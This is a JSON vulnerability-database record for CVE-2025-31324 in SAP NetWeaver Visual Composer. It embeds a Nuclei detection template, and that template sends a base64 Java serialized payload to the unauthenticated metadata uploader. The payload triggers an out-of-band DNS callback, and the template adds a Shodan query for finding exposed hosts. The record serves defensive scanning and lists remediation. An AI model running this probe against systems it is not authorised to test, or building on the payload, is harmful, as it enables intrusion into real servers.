{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-31324/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-31324/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-31324/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-31324/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-31324/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-31324"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-31324"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2025/CVE-2025-31324.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2025-31324\n\ninfo:\n  name: SAP NetWeaver Visual Composer Metadata Uploader - Deserialization\n  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch\n  severity: critical\n  description: |\n    SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.\n  impact: |\n    Unauthenticated attackers can upload malicious executable binaries through the Metadata Uploader without authorization, potentially achieving remote code execution and complete system compromise.\n  remediation: |\n    Apply SAP security note 3594142 and upgrade to the latest patched version of SAP NetWeaver Visual Composer.\n  reference:\n    - https://www.bleepingcomputer.com/news/security/sap-fixes-suspected-netweaver-zero-day-exploited-in-attacks/\n    - https://www.theregister.com/2025/04/25/sap_netweaver_patch/\n    - https://me.sap.com/notes/3594142\n    - https://url.sap/sapsecuritypatchday\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2025-31324\n    cwe-id: CWE-434\n    epss-score: 0.9947\n    epss-percentile: 0.99943\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"SAP NetWeaver Application Server Java\"\n  tags: cve,cve2025,sap,netweaver,rce,deserialization,kev,vkev,vuln\n\nvariables:\n  oast: \".{{interactsh-url}}\"\n  payload: \"{{padding(oast,'a',54,'prefix')}}\"\n\n\nhttp:\n  - raw:\n      - |\n        POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data\n\n        {{zip('.properties',replace(base64_decode('rO0ABXNyABRqYXZhLnV0aWwuUHJvcGVydGllczkS0HpwNj6YAgABTAAIZGVmYXVsdHN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHIAE2phdmEudXRpbC5IYXNodGFibGUTuw8lIUrkuAMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAADdwgAAAAFAAAAAnQADnByb2plY3QtbmF0dXJlc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAFzcgAMamF2YS5uZXQuVVJMliU3Nhr85HIDAAdJAAhoYXNoQ29kZUkABHBvcnRMAAlhdXRob3JpdHl0ABJMamF2YS9sYW5nL1N0cmluZztMAARmaWxlcQB+AAhMAARob3N0cQB+AAhMAAhwcm90b2NvbHEAfgAITAADcmVmcQB+AAh4cP//////////dAA2YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhdAAAcQB+AAp0AARodHRwcHh0AD1odHRwOi8vYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFheHQAC0VYUE9SVC1OQU1FdAATc29tZV9wcm9qZWN0X25hbWV4eHhw'),'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',payload))}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(interactsh_protocol, 'dns')\n          - contains_all(body, 'FAILED', 'Cause')\n        condition: and\n# digest: 4a0a00473045022100f6e1f7259a5b85cc3499516f033c9625f4694537d18b2ef8807165d401e608a902201494267233feb615eed3e7e17d116398de242d4c7cfe30d38ab47fb02965cd1d:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2025-31324"
}